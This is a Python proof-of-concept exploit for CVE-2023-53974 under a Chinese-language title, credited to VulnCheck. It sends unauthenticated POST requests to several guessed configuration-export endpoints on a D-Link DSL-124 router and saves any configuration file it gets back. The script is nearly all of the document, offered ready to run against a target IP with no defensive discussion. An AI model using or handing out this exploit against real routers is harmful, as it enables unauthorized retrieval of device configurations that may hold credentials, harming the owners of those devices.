CVE-2023-53974 D-Link DSL-124路由器配置文件中泄露漏洞

# CVE-2023-53974 PoC - D-Link DSL-124 Configuration File Disclosure # Author: VulnCheck ([email protected]) import requests import sys def exploit_dlink_config_disclosure(target_ip): """ Exploit for CVE-2023-53974: Unauthenticated configuration file disclosure on D-Link DSL-124 ME_1.00 routers. """ # Configuration backup endpoint - commonly found on D-Link devices config_endpoint = "/cgi-bin/Export_Config.sh" # Alternative endpoints to try endpoints = [ "/cgi-bin/Export_Config.sh", "/cgi-bin/export_config.cgi", "/cgi-bin/config_backup", "/export.cfg" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded" } for endpoint in endpoints: url = f"http://{target_ip}{endpoint}" try: # Send POST request without authentication response = requests.post(url, headers=headers, timeout=10) if response.status_code == 200 and len(response.content) > 100: print(f"[+] SUCCESS: Configuration file retrieved from {endpoint}") print(f"[+] File size: {len(response.content)} bytes") # Save the configuration file output_file = f"config_backup_{target_ip.replace('.', '_')}.bin" with open(output_file, 'wb') as f: f.write(response.content) print(f"[+] Configuration saved to: {output_file}") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("[-] Exploitation failed - no valid endpoint found") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] exploit_dlink_config_disclosure(target)